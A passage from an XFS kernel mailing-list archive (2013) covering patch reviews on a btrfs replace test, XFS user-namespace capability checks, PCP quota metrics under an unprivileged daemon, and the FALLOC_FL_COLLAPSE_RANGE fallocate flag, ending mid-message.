-B $SCRATCH_MNT >> $seqres.full 2>&1 || _fail "btrfs scrub failed" + + # Two tests are performed, the 1st is to btrfsck the filesystem, + # and the 2nd test is to mount the filesystem. + # Usually _check_btrfs_filesystem would perform the mount test, + # but it gets confused by the mount output that shows SCRATCH_MNT + # mounted but not being mounted to SCRATCH_DEV. This happens + # because in /proc/mounts the 2nd device of the filesystem is + # shown after the replace operation. Let's just do the mount + # test manually after _check_btrfs_filesystem is finished. + umount $SCRATCH_MNT > /dev/null 2>&1 + if [ "${with_cancel}Q" != "cancelQ" ]; then + # after the replace operation, use the target_dev for everything + _check_btrfs_filesystem $target_dev + _mount -t $FSTYP `_scratch_mount_options | sed "s&${SCRATCH_DEV}&${target_dev}&"` + else + _check_btrfs_filesystem $source_dev + _scratch_mount + fi +} + +workout "-m single -d single" 1 no quick +workout "-m single -d single -M" 1 no quick +workout "-m dup -d single" 1 no quick +workout "-m dup -d single" 1 cancel quick +workout "-m dup -d dup -M" 1 no quick +workout "-m raid0 -d raid0" 2 no quick +workout "-m raid1 -d raid1" 2 no thorough +#workout "-m raid5 -d raid5" 2 no quick # not yet supported for btrfs replace +#workout "-m raid6 -d raid6" 3 no quick # not yet supported for btrfs replace +workout "-m raid10 -d raid10" 4 no quick + +echo "*** done" +status=0 +exit diff --git a/tests/btrfs/317.out b/tests/btrfs/317.out new file mode 100644 index 0000000..4bda623 --- /dev/null +++ b/tests/btrfs/317.out @@ -0,0 +1,3 @@ +QA output created by 317 +*** test btrfs replace +*** done diff --git a/tests/btrfs/group b/tests/btrfs/group index bc6c256..1b64321 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -9,3 +9,4 @@ 276 auto rw metadata 284 auto 307 auto quick +317 auto -- 1.8.3.4 From dwight.engen@oracle.com Wed Jul 31 12:09:24 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 709347CBF for ; Wed, 31 Jul 2013 12:09:24 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id E5709AC001 for ; Wed, 31 Jul 2013 10:09:20 -0700 (PDT) X-ASG-Debug-ID: 1375290559-04cb6c2e9f2a0cc0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id 36MOrV0owN8JlemE (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Wed, 31 Jul 2013 10:09:19 -0700 (PDT) X-Barracuda-Envelope-From: dwight.engen@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6VH9Gx3013686 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 31 Jul 2013 17:09:17 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6VH9Fgk015585 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 31 Jul 2013 17:09:16 GMT Received: from abhmt115.oracle.com (abhmt115.oracle.com [141.146.116.67]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6VH9Epk014692; Wed, 31 Jul 2013 17:09:14 GMT Received: from localhost.localdomain (/173.72.251.200) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 31 Jul 2013 10:09:14 -0700 Date: Wed, 31 Jul 2013 13:09:04 -0400 From: Dwight Engen To: Ben Myers Cc: Dave Chinner , xfs@oss.sgi.com Subject: Re: [PATCH v7 7/7] enable building user namespace with xfs Message-ID: <20130731130904.1a96246a@oracle.com> X-ASG-Orig-Subj: Re: [PATCH v7 7/7] enable building user namespace with xfs In-Reply-To: <20130731132523.GS3111@sgi.com> References: <20130729230709.11033b2d@oracle.com> <20130730234021.GR3111@sgi.com> <20130731002119.GR13468@dastard> <20130731132523.GS3111@sgi.com> Organization: Oracle Corporation Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1375290559 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137457 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines On Wed, 31 Jul 2013 08:25:23 -0500 Ben Myers wrote: > Hey, > > On Wed, Jul 31, 2013 at 10:21:19AM +1000, Dave Chinner wrote: > > On Tue, Jul 30, 2013 at 06:40:21PM -0500, Ben Myers wrote: > > > On Mon, Jul 29, 2013 at 11:07:09PM -0400, Dwight Engen wrote: > > > > >From e6a9ee0cfa0ed40484f66bc1726dc19de36038b8 Mon Sep 17 > > > > >00:00:00 2001 > > > > From: Dwight Engen > > > > Date: Tue, 2 Jul 2013 09:52:54 -0400 > > > > Subject: [PATCH 7/7] enable building user namespace with xfs > > > > > > > > Signed-off-by: Dwight Engen > > > > > > Was there a patch running around to limit bulkstat to > > > init_user_ns? Any other items that needed to be addressed before > > > applying this patch? > > > > Bulkstat has a capable(CAP_SYS_ADMIN) check and therefore can only > > be executed in the init name space. Similarly, all the > > open-by-handle interfaces have the same capable() checks so they > > can only be executed int he init name space, too. > > Gah. I was under the impression that you could have a process with > CAP_SYS_ADMIN in a namespace other than init_user_ns. Hi Ben, a process can be CAP_SYS_ADMIN in its own userns, but the check for that would be ns_capable(CAP_SYS_ADMIN) not capable(CAP_SYS_ADMIN) which checks against init_user_ns. The checks Dave was mentioning are all against init_user_ns so bulkstat and open-by-handle effectively cannot be used from inside a non-init_user_ns. > > The only thing I think we still need to address is whether > > xfs_ioc_setattr() should allow users within a namespace to change > > the project ID of a file they otherwise own. That function is > > currently changed to use a inode_owner_or_capable() check and so if > > the uids match inside the namespace the modification is allowed. > > > > However, right now for project IDs I think we have decided to limit > > manipulations to the init user namespace and not expose project IDs > > inside user namespaces at all. Hence I think that xfs_ioc_setattr() > > needs a further check for this... > > Looks like that should be added to patch 3. Dwight, if you prefer to > repost only patch 3 that's fine. I'll add this into patch 3 once we get it sorted out and then repost with Gao's reviewed-by tags. Thanks. From dwight.engen@oracle.com Wed Jul 31 13:19:57 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CCD9A7CBF for ; Wed, 31 Jul 2013 13:19:56 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 696A3AC003 for ; Wed, 31 Jul 2013 11:19:53 -0700 (PDT) X-ASG-Debug-ID: 1375294788-04bdf02f232ab8a0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id z2BYveQm9aIwr6rz (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Wed, 31 Jul 2013 11:19:49 -0700 (PDT) X-Barracuda-Envelope-From: dwight.engen@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6VIJhBG004433 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 31 Jul 2013 18:19:44 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6VIJgWZ023498 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 31 Jul 2013 18:19:43 GMT Received: from abhmt113.oracle.com (abhmt113.oracle.com [141.146.116.65]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6VIJgPp014364; Wed, 31 Jul 2013 18:19:42 GMT Received: from localhost.localdomain (/173.72.251.200) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 31 Jul 2013 11:19:42 -0700 Date: Wed, 31 Jul 2013 14:19:31 -0400 From: Dwight Engen To: Dave Chinner , Gao feng Cc: Ben Myers , xfs@oss.sgi.com Subject: Re: [PATCH v7 7/7] enable building user namespace with xfs Message-ID: <20130731141931.2e1c77d4@oracle.com> X-ASG-Orig-Subj: Re: [PATCH v7 7/7] enable building user namespace with xfs In-Reply-To: <20130731002119.GR13468@dastard> References: <20130729230709.11033b2d@oracle.com> <20130730234021.GR3111@sgi.com> <20130731002119.GR13468@dastard> Organization: Oracle Corporation Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1375294789 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137459 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines On Wed, 31 Jul 2013 10:21:19 +1000 Dave Chinner wrote: [...] > The only thing I think we still need to address is whether > xfs_ioc_setattr() should allow users within a namespace to change > the project ID of a file they otherwise own. That function is > currently changed to use a inode_owner_or_capable() check and so if > the uids match inside the namespace the modification is allowed. Right, so before this change the caller has to own the file or be CAP_FOWNER in init_user_ns. Changing to using inode_owner_or_capable() means the caller has to own the file (and the inode's uid must be valid in current_user_ns) or be CAP_FOWNER in current_user_ns. I don't see how this lets the user the user do something inside the userns that they can't do outside. Basically I think we want to treat projids as a non namespace aware identifier, but it sounds like maybe we don't want them manipulated from userns context at all. > However, right now for project IDs I think we have decided to limit > manipulations to the init user namespace and not expose project IDs > inside user namespaces at all. Hence I think that xfs_ioc_setattr() > needs a further check for this... If we don't want to allow setting the projid from a userns, the check I would propose inside the if (mask & FSX_EXTSIZE) block is: if (current_user_ns() != &init_user_ns) Is the appropriate error return for this EINVAL? (thats what a similar check in kernel/taskstats.c returns) > Cheers, > > Dave. From nscott@redhat.com Wed Jul 31 15:34:26 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id F011A7CBF for ; Wed, 31 Jul 2013 15:34:25 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id C214E30408C for ; Wed, 31 Jul 2013 13:34:25 -0700 (PDT) X-ASG-Debug-ID: 1375302857-04bdf02f232b3650001-NocioJ Received: from mx3-phx2.redhat.com (mx3-phx2.redhat.com [209.132.183.24]) by cuda.sgi.com with ESMTP id 7hOAHTEjRDJkTOzY; Wed, 31 Jul 2013 13:34:17 -0700 (PDT) X-Barracuda-Envelope-From: nscott@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.24 Received: from zmail20.collab.prod.int.phx2.redhat.com (zmail20.collab.prod.int.phx2.redhat.com [10.5.83.23]) by mx3-phx2.redhat.com (8.13.8/8.13.8) with ESMTP id r6VKYGKa016878; Wed, 31 Jul 2013 16:34:16 -0400 Date: Wed, 31 Jul 2013 16:34:16 -0400 (EDT) From: Nathan Scott Reply-To: Nathan Scott To: Jeff Hanson , mikeh@sgi.com Cc: PCP , XFS Message-ID: <74641529.7203019.1375302856174.JavaMail.root@redhat.com> In-Reply-To: <51F90B6A.6050809@sgi.com> References: <51F90B6A.6050809@sgi.com> Subject: Re: [pcp] Suggestions for SGI ICE where we need to get quota information MIME-Version: 1.0 X-ASG-Orig-Subj: Re: [pcp] Suggestions for SGI ICE where we need to get quota information Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Originating-IP: [10.5.82.11] X-Mailer: Zimbra 8.0.3_GA_5664 (ZimbraWebClient - FF17 (Linux)/8.0.3_GA_5664) Thread-Topic: Suggestions for SGI ICE where we need to get quota information Thread-Index: SAO9kApb9ydNhnSldzY8XVmGg+EJaw== X-Barracuda-Connect: mx3-phx2.redhat.com[209.132.183.24] X-Barracuda-Start-Time: 1375302857 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.02 X-Barracuda-Spam-Status: No, SCORE=0.02 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137463 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... Hi guys, ----- Original Message ----- > In SGI's ICE product we have a script that uses pcp to gather quota > information to feed to ganglia and to alert the admin if a project is > over quota. With newer pcp where pmcd is run as user pcp and not as > root we get failures to obtain the quota information. Changing back > to root or other similar techniques works (as expected). Since the > hosts that run this are cluster infrastructure nodes this may be the > hack we decide on but we'd like other suggestions. [ http://oss.sgi.com/bugzilla/show_bug.cgi?id=985 ] Hmm, interesting - sorry about that, its unintended fallout and it did not occur to me that the XFS quota metrics would be affected. I would strongly recommend not going back to running pmcd as root, kittens will surely die (although it is likely to be your only solution currently). There is a better way we can tackle this - we should isolate those parts that need to run as root, and run them that way. This means we need to transition these quota metrics into a new PMDA which runs as root, separately to pmcd. In a quirky twist, I happened to come across a very similar problem recently with the xfs.control.reset metric - this needs root access too in order to function (it provides a reset-stats-back-to-zero mechanism by writing to a procfs file), so it also was an unintended victim of the unprivileged-pmcd changes. Thus, I propose we abstract out the xfs.* and quota.* (which, despite being generically named "quota" metrics, are all XFS-specific) into a new pmdaxfs which we run as root, in exactly the same way pmdaproc is now run as root. We will need to manage the PMID transition (domain number on these metrics will change) via pmlogrewrite, but that is a well-trod path now and happily pmdaproc is an existence-proof that we can successfully make these transitions. If we do it correctly, we should be able to do this transparently so that nobody notices. However, Murphy being Murphy ... I've CC'd the XFS list to let 'em know this is coming. cheers. -- Nathan From bpm@sgi.com Wed Jul 31 16:11:20 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 822687CBF for ; Wed, 31 Jul 2013 16:11:20 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id 8C063AC004; Wed, 31 Jul 2013 14:11:15 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 1BBBF4266DC; Wed, 31 Jul 2013 16:11:15 -0500 (CDT) Date: Wed, 31 Jul 2013 16:11:15 -0500 From: Ben Myers To: Namjae Jeon Cc: tytso@mit.edu, adilger.kernel@dilger.ca, elder@kernel.org, hch@infradead.org, david@fromorbit.com, Namjae Jeon , linux-kernel@vger.kernel.org, xfs@oss.sgi.com, a.sangwan@samsung.com, linux-fsdevel@vger.kernel.org, linux-ext4@vger.kernel.org Subject: Re: [PATCH 2/3] xfs: Implement FALLOC_FL_COLLAPSE_RANGE Message-ID: <20130731211115.GU3111@sgi.com> References: <1375281734-15874-1-git-send-email-linkinjeon@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1375281734-15874-1-git-send-email-linkinjeon@gmail.com> User-Agent: Mutt/1.5.20 (2009-06-14) Hey Namjae, On Wed, Jul 31, 2013 at 11:42:14PM +0900, Namjae Jeon wrote: > From: Namjae Jeon > > New fallocate flag FALLOC_FL_COLLAPSE_RANGE implementation for XFS. > > Signed-off-by: Namjae Jeon > Signed-off-by: Ashish Sangwan Very cool feature! ;) I have a couple initial suggestions/questions: > --- > fs/xfs/xfs_bmap.c | 92 +++++++++++++++++++++++++++++++++++++++++++++++++ > fs/xfs/xfs_bmap.h | 3 ++ > fs/xfs/xfs_file.c | 26 ++++++++++++-- > fs/xfs/xfs_iops.c | 35 +++++++++++++++++++ > fs/xfs/xfs_vnodeops.c | 62 +++++++++++++++++++++++++++++++++ > fs/xfs/xfs_vnodeops.h | 2 ++ > 6 files changed, 217 insertions(+), 3 deletions(-) > > diff --git a/fs/xfs/xfs_bmap.c b/fs/xfs/xfs_bmap.c > index 05c698c..ae677b1 100644 > --- a/fs/xfs/xfs_bmap.c > +++ b/fs/xfs/xfs_bmap.c > @@ -6145,3 +6145,95 @@ next_block: > > return error; > } > + > +/* > + * xfs_update_logical() > + * Updates starting logical block of extents by subtracting > + * shift from them. At max XFS_LINEAR_EXTS number extents > + * will be updated and *current_ext is the extent number which > + * is currently being updated. > + */ > +int > +xfs_update_logical( > + xfs_trans_t *tp, > + struct xfs_inode *ip, > + int *done, > + xfs_fileoff_t start_fsb, > + xfs_fileoff_t shift, > + xfs_extnum_t *current_ext) Could we find a better name for this function? Maybe something like xfs_shift_extent_startblocks or xfs_shift_extent_offsets? Also, is there also a case for being able to shift extent offsets upward in the file's address space so that you can splice in a chunk of data? For that I think maybe you'd want to be able to shift on sub-block boundaries too, and there would be some copying and zeroing involved on the boundary block. Not sure. > +{ > + xfs_btree_cur_t *cur; > + xfs_bmbt_rec_host_t *gotp; > + xfs_mount_t *mp; > + xfs_ifork_t *ifp; > + xfs_extnum_t nexts = 0; > + xfs_fileoff_t startoff; > + int error = 0; > + int i; > + > + ifp = XFS_IFORK_PTR(ip, XFS_DATA_FORK); > + mp = ip->i_mount; > + > + if (!(ifp->if_flags & XFS_IFEXTENTS) && > + (error = xfs_iread_extents(tp, ip, XFS_DATA_FORK))) > + return error; > + > + if (!*current_ext) { > + gotp = xfs_iext_bno_to_ext(ifp, start_fsb, current_ext); > + /* > + * gotp can be null in 2 cases: 1) if there are no extents > + * or 2) start_fsb lies in a hole beyond which there are > + * no extents. Either way, we are done. > + */ > + if (!gotp) { > + *done = 1; > + return 0; > + } > + } > + > + if (ifp->if_flags & XFS_IFBROOT) > + cur = xfs_bmbt_init_cursor(mp, tp, ip, XFS_DATA_FORK); > + else > + cur = NULL; > + > + while (nexts++ < XFS_LINEAR_EXTS && > + *current_ext < XFS_IFORK_NEXTENTS(ip, XFS_DATA_FORK)) { > + gotp = xfs_iext_get_ext(ifp, (*current_ext)++); > + startoff = xfs_bmbt_get_startoff(gotp); > + if (cur) { > + if ((error = xfs_bmbt_lookup_eq(cur, > + startoff, > + xfs_bmbt_get_startblock(gotp), > + xfs_bmbt_get_blockcount(gotp), > + &i))) > + goto del_cursor; > + XFS_WANT_CORRUPTED_GOTO(i == 1, del_cursor); > + } > + startoff -= shift; > + xfs_bmbt_set_startoff(gotp, startoff); > + if (cur) { > + error = xfs_bmbt_update(cur, startoff, > + xfs_bmbt_get_startblock(gotp), > + xfs_bmbt_get_blockcount(gotp), > + xfs_bmbt_get_state(gotp)); > + if (error) > + goto del_cursor; > + } > + } > + > + /* Check if we are done */ > + if (*current_ext == XFS_IFORK_NEXTENTS(ip, XFS_DATA_FORK)) > + *done = 1; > + > +del_cursor: > + if (cur) { > + if (!error) > + cur->bc_private.b.allocated = 0; > + xfs_btree_del_cursor(cur, > + error ? XFS_BTREE_ERROR : XFS_BTREE_NOERROR); > + } > + > + xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE | XFS_ILOG_DEXT); > + > + return error; > +} > diff --git a/fs/xfs/xfs_bmap.h b/fs/xfs/xfs_bmap.h > index 1cf1292..f923734 100644 > --- a/fs/xfs/xfs_bmap.h > +++ b/fs/xfs/xfs_bmap.h > @@ -204,6 +204,9 @@ int xfs_bunmapi(struct xfs_trans *tp, struct xfs_inode *ip, > int xfs_check_nostate_extents(struct xfs_ifork *ifp, xfs_extnum_t idx, > xfs_extnum_t num); > uint xfs_default_attroffset(struct xfs_inode *ip); > +int xfs_update_logical(xfs_trans_t *tp, struct xfs_inode *ip, int *done, > + xfs_fileoff_t start_fsb, xfs_fileoff_t shift, > + xfs_extnum_t *current_ext); > > #ifdef __KERNEL__ > /* bmap to userspace formatter - copy to user & advance pointer */ > diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c > index de3dc98..7d871bc 100644 > --- a/fs/xfs/xfs_file.c > +++ b/fs/xfs/xfs_file.c > @@ -817,7 +817,12 @@ xfs_file_fallocate( > int cmd = XFS_IOC_RESVSP; > int attr_flags = XFS_ATTR_NOLOCK; > > - if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE)) > + if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE | > + FALLOC_FL_COLLAPSE_RANGE)) > + return -EOPNOTSUPP; > + > + /* not just yet for rt inodes */ > + if ((mode & FALLOC_FL_COLLAPSE_RANGE) && XFS_IS_REALTIME_INODE(ip)) > return -EOPNOTSUPP; > > bf.l_whence = 0; > @@ -826,11 +831,11 @@ xfs_file_fallocate( > > xfs_ilock(ip, XFS_IOLOCK_EXCL); > > - if (mode & FALLOC_FL_PUNCH_HOLE) > + if (mode & (FALLOC_FL_PUNCH_HOLE | FALLOC_FL_COLLAPSE_RANGE)) > cmd = XFS_IOC_UNRESVSP; > > /* check the new inode size is valid before allocating */ > - if (!(mode & FALLOC_FL_KEEP_SIZE) && > + if (!(mode & (FALLOC_FL_KEEP_SIZE | FALLOC_FL_COLLAPSE_RANGE)) && > offset + len > i_size_read(inode)) { > new_size = offset + len; > error = inode_newsize_ok(inode, new_size); > @@ -845,6 +850,21 @@ xfs_file_fallocate( > if (error) > goto out_unlock; > > + if (mode & FALLOC_FL_COLLAPSE_RANGE) { > + error = -xfs_collapse_file_space(ip, offset + len, len); > + if (error || offset >= i_size_read(inode)) > + goto out_unlock; > + > + /* Shrink size in case of FALLOC_FL_COLLAPSE_RANGE */ > + if ((offset + len) > i_size_read(inode)) > + new_size = offset; > + else > + new_size = i_size_read(inode) - len; > + error = -xfs_update_file_size(ip, new_size); > + > + goto out_unlock; > + } > + Since you're not implementing an XFS_IOC_COLLAPSE_RANGE flag for the xfs_change_file_space interface, it might be cleaner not to use change_space at all... e.g. call xfs_free_file_space directly from xfs_collapse_file_space or in the above conditional (making the conditional exclusive with the change_space call). Alternatively, you could implement this fully through xfs_change_file_space. Either way I think it would be best for it to be all or nothing with respect to the xfs_change_file_space interface, and my preference is that you implement this through xfs_collapse_file_space interface just as the rest of these operations are implemented in xfs. > /* Change file size if needed */ > if (new_size) { > struct iattr iattr; > diff --git a/fs/xfs/xfs_iops.c b/fs/xfs/xfs_iops.c > index 96dda62..16b20f1 100644 > --- a/fs/xfs/xfs_iops.c > +++ b/fs/xfs/xfs_iops.c > @@ -1236,3 +1236,38 @@ xfs_setup_inode( > > unlock_new_inode(inode); > } > + > +/* > + * xfs_update_file_size() > + * Just a simple disk size and time update > + */ > +int > +xfs_update_file_size( > + struct xfs_inode *ip, > + loff_t newsize) > +{ > + xfs_mount_t *mp = ip->i_mount; > + struct inode *inode = VFS_I(ip); > + struct xfs_trans *tp; > + int error; > + > + tp = xfs_trans_alloc(mp, XFS_TRANS_SETATTR_NOT_SIZE); > + > + error = xfs_trans_reserve(tp, 0, XFS_ICHANGE_LOG_RES(mp), 0, 0, 0); > + if (error) > + return error; > + > + xfs_trans_ijoin(tp, ip, 0); > + truncate_setsize(inode, newsize); > + ip->i_d.di_size = newsize; > + > + xfs_trans_ichgtime(tp, ip, XFS_ICHGTIME_CHG); > + > + xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); > + > + if (mp->m_flags & XFS_MOUNT_WSYNC) > + xfs_trans_set_sync(tp); > + > + return xfs_trans_commit(tp, 0); > + > +} Did you consider xfs_setattr_size for this? Thanks, Ben From tytso@thunk.org Wed Jul 31 17:02:59 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 09EAC7CBF for ; Wed, 31 Jul 2013 17:02:59 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 699AEAC005 for ; Wed, 31 Jul 2013 15:02:55 -0700 (PDT) X-ASG-Debug-ID: 1375308173-04cbb02c3b2b3eb0001-NocioJ Received: from imap.thunk.org (imap.thunk.org [74.207.234.97]) by cuda.sgi.com with ESMTP id Fz8m9YPhv6KC8C1c (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO); Wed, 31 Jul 2013 15:02:54 -0700 (PDT) X-Barracuda-Envelope-From: tytso@thunk.org X-Barracuda-Apparent-Source-IP: 74.207.234.97 Received: from root (helo=closure.thunk.org) by imap.thunk.org with local-esmtp (Exim 4.80) (envelope-from ) id 1V4eSy-0005Zz-2F; Wed, 31 Jul 2013 22:01:56 +0000 Received: by closure.thunk.org (Postfix, from userid 15806) id 80542580738; Wed, 31 Jul 2013 18:01:54 -0400 (EDT) Date: Wed, 31 Jul 2013 18:01:54 -0400 From: Theodore Ts'o To: Namjae Jeon Cc: adilger.kernel@dilger.ca, bpm@sgi.com, elder@kernel.org, hch@infradead.org, david@fromorbit.com, linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org, linux-ext4@vger.kernel.org, xfs@oss.sgi.com, a.sangwan@samsung.com, Namjae Jeon Subject: Re: [PATCH 1/3] fs: Introduce new flag FALLOC_FL_COLLAPSE_RANGE Message-ID: <20130731220154.GA11378@thunk.org> X-ASG-Orig-Subj: Re: [PATCH 1/3] fs: Introduce new flag FALLOC_FL_COLLAPSE_RANGE Mail-Followup-To: Theodore Ts'o , Namjae Jeon , adilger.kernel@dilger.ca, bpm@sgi.com, elder@kernel.org, hch@infradead.org, david@fromorbit.com, linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org, linux-ext4@vger.kernel.org, xfs@oss.sgi.com, a.sangwan@samsung.com, Namjae Jeon References: <1375281721-15840-1-git-send-email-linkinjeon@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1375281721-15840-1-git-send-email-linkinjeon@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SA-Exim-Connect-IP: X-SA-Exim-Mail-From: tytso@thunk.org X-SA-Exim-Scanned: No (on imap.thunk.org); SAEximRunCond expanded to false X-Barracuda-Connect: imap.thunk.org[74.207.234.97] X-Barracuda-Start-Time: 1375308174 X-Barracuda-Encrypted: AES128-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137466 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Have you considered what happens if you have a 10 megabyte file, of which the first 5 megs are mmap'ed into a userspace process. Now suppose you call COLLAPASE_RANGE on a one megabyte range starting at offset 1024k from the beginning of the file. Does the right thing 